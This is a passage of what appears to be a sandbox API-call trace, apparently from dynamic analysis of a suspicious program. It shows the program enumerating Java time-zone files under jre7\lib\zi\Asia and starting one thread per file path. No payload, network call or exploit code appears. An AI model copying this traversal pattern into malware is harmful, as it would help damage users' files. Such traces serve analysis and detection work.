lpParameter=0x1cdb81f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28dc [0159.787] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Singapore", cAlternateFileName="SINGAP~1")) returned 1 [0159.787] wcscmp (_String1="Singapore", _String2=".") returned 1 [0159.787] wcscmp (_String1="Singapore", _String2="..") returned 1 [0159.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb8270 [0159.787] wcscpy (in: _Dest=0x1cdb8270, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.787] wcscat (in: _Dest=0x1cdb8270, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.787] wcscat (in: _Dest=0x1cdb8270, _Source="Singapore" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Singapore") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Singapore" [0159.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb8270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28e0 [0159.788] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Taipei", cAlternateFileName="")) returned 1 [0159.788] wcscmp (_String1="Taipei", _String2=".") returned 1 [0159.788] wcscmp (_String1="Taipei", _String2="..") returned 1 [0159.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b864290 [0159.788] wcscpy (in: _Dest=0x1b864290, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.788] wcscat (in: _Dest=0x1b864290, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.788] wcscat (in: _Dest=0x1b864290, _Source="Taipei" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Taipei") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Taipei" [0159.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28e4 [0159.789] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tashkent", cAlternateFileName="")) returned 1 [0159.789] wcscmp (_String1="Tashkent", _String2=".") returned 1 [0159.789] wcscmp (_String1="Tashkent", _String2="..") returned 1 [0159.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cdb82f0 [0159.790] wcscpy (in: _Dest=0x1cdb82f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.790] wcscat (in: _Dest=0x1cdb82f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.790] wcscat (in: _Dest=0x1cdb82f0, _Source="Tashkent" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tashkent") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tashkent" [0159.790] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb82f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28e8 [0159.791] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tbilisi", cAlternateFileName="")) returned 1 [0159.791] wcscmp (_String1="Tbilisi", _String2=".") returned 1 [0159.791] wcscmp (_String1="Tbilisi", _String2="..") returned 1 [0159.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cdb8370 [0159.791] wcscpy (in: _Dest=0x1cdb8370, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.791] wcscat (in: _Dest=0x1cdb8370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.791] wcscat (in: _Dest=0x1cdb8370, _Source="Tbilisi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tbilisi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tbilisi" [0159.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb8370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28ec [0159.792] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tehran", cAlternateFileName="")) returned 1 [0159.792] wcscmp (_String1="Tehran", _String2=".") returned 1 [0159.792] wcscmp (_String1="Tehran", _String2="..") returned 1 [0159.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b864140 [0159.792] wcscpy (in: _Dest=0x1b864140, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.792] wcscat (in: _Dest=0x1b864140, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.793] wcscat (in: _Dest=0x1b864140, _Source="Tehran" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tehran") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tehran" [0159.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28f0 [0159.793] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thimphu", cAlternateFileName="")) returned 1 [0159.793] wcscmp (_String1="Thimphu", _String2=".") returned 1 [0159.793] wcscmp (_String1="Thimphu", _String2="..") returned 1 [0159.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cdb83f0 [0159.794] wcscpy (in: _Dest=0x1cdb83f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.794] wcscat (in: _Dest=0x1cdb83f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.794] wcscat (in: _Dest=0x1cdb83f0, _Source="Thimphu" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Thimphu") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Thimphu" [0159.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb83f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28f4 [0159.795] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tokyo", cAlternateFileName="")) returned 1 [0159.795] wcscmp (_String1="Tokyo", _String2=".") returned 1 [0159.795] wcscmp (_String1="Tokyo", _String2="..") returned 1 [0159.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b8641b0 [0159.795] wcscpy (in: _Dest=0x1b8641b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.795] wcscat (in: _Dest=0x1b8641b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.795] wcscat (in: _Dest=0x1b8641b0, _Source="Tokyo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tokyo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tokyo" [0159.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8641b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28f8 [0159.796] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ulaanbaatar", cAlternateFileName="ULAANB~1")) returned 1 [0159.796] wcscmp (_String1="Ulaanbaatar", _String2=".") returned 1 [0159.796] wcscmp (_String1="Ulaanbaatar", _String2="..") returned 1 [0159.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cdb8470 [0159.796] wcscpy (in: _Dest=0x1cdb8470, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.796] wcscat (in: _Dest=0x1cdb8470, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.796] wcscat (in: _Dest=0x1cdb8470, _Source="Ulaanbaatar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ulaanbaatar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ulaanbaatar" [0159.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb8470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28fc [0159.797] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urumqi", cAlternateFileName="")) returned 1 [0159.797] wcscmp (_String1="Urumqi", _String2=".") returned 1 [0159.797] wcscmp (_String1="Urumqi", _String2="..") returned 1 [0159.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1ced8c20 [0159.797] wcscpy (in: _Dest=0x1ced8c20, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.797] wcscat (in: _Dest=0x1ced8c20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.797] wcscat (in: _Dest=0x1ced8c20, _Source="Urumqi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Urumqi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Urumqi" [0159.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced8c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2900 [0159.798] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ust-Nera", cAlternateFileName="")) returned 1 [0159.798] wcscmp (_String1="Ust-Nera", _String2=".") returned 1 [0159.798] wcscmp (_String1="Ust-Nera", _String2="..") returned 1 [0159.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cdb84f0 [0159.799] wcscpy (in: _Dest=0x1cdb84f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.799] wcscat (in: _Dest=0x1cdb84f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.799] wcscat (in: _Dest=0x1cdb84f0, _Source="Ust-Nera" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ust-Nera") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ust-Nera" [0159.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb84f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2904 [0159.799] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vientiane", cAlternateFileName="VIENTI~1")) returned 1 [0159.800] wcscmp (_String1="Vientiane", _String2=".") returned 1 [0159.800] wcscmp (_String1="Vientiane", _String2="..") returned 1 [0159.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cdb8570 [0159.800] wcscpy (in: _Dest=0x1cdb8570, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.800] wcscat (in: _Dest=0x1cdb8570, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.800] wcscat (in: _Dest=0x1cdb8570, _Source="Vientiane" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vientiane") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vientiane" [0159.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb8570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2908 [0159.801] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vladivostok", cAlternateFileName="VLADIV~1")) returned 1 [0159.801] wcscmp (_String1="Vladivostok", _String2=".") returned 1 [0159.801] wcscmp (_String1="Vladivostok", _String2="..") returned 1 [0159.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cdb85f0 [0159.801] wcscpy (in: _Dest=0x1cdb85f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.801] wcscat (in: _Dest=0x1cdb85f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.801] wcscat (in: _Dest=0x1cdb85f0, _Source="Vladivostok" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vladivostok") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Vladivostok" [0159.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb85f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290c [0159.802] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yakutsk", cAlternateFileName="")) returned 1 [0159.802] wcscmp (_String1="Yakutsk", _String2=".") returned 1 [0159.802] wcscmp (_String1="Yakutsk", _String2="..") returned 1 [0159.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cdb8670 [0159.802] wcscpy (in: _Dest=0x1cdb8670, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.802] wcscat (in: _Dest=0x1cdb8670, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.802] wcscat (in: _Dest=0x1cdb8670, _Source="Yakutsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yakutsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yakutsk" [0159.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb8670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2910 [0159.803] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yekaterinburg", cAlternateFileName="YEKATE~1")) returned 1 [0159.803] wcscmp (_String1="Yekaterinburg", _String2=".") returned 1 [0159.803] wcscmp (_String1="Yekaterinburg", _String2="..") returned 1 [0159.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1cdb86f0 [0159.804] wcscpy (in: _Dest=0x1cdb86f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.804] wcscat (in: _Dest=0x1cdb86f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.804] wcscat (in: _Dest=0x1cdb86f0, _Source="Yekaterinburg" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yekaterinburg") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yekaterinburg" [0159.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb86f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2914 [0159.804] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yerevan", cAlternateFileName="")) returned 1 [0159.805] wcscmp (_String1="Yerevan", _String2=".") returned 1 [0159.805] wcscmp (_String1="Yerevan", _String2="..") returned 1 [0159.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cdb8770 [0159.805] wcscpy (in: _Dest=0x1cdb8770, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0159.805] wcscat (in: _Dest=0x1cdb8770, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0159.805] wcscat (in: _Dest=0x1cdb8770, _Source="Yerevan" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yerevan") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yerevan" [0159.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb8770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2918 [0159.806] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yerevan", cAlternateFileName="")) returned 0 [0159.806] FindClose (in: hFindFile=0x1cd860d0 | out: hFindFile=0x1cd860d0) returned 1 [0159.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62a20) returned 1 [0159.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ad0) returned 1 [0159.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 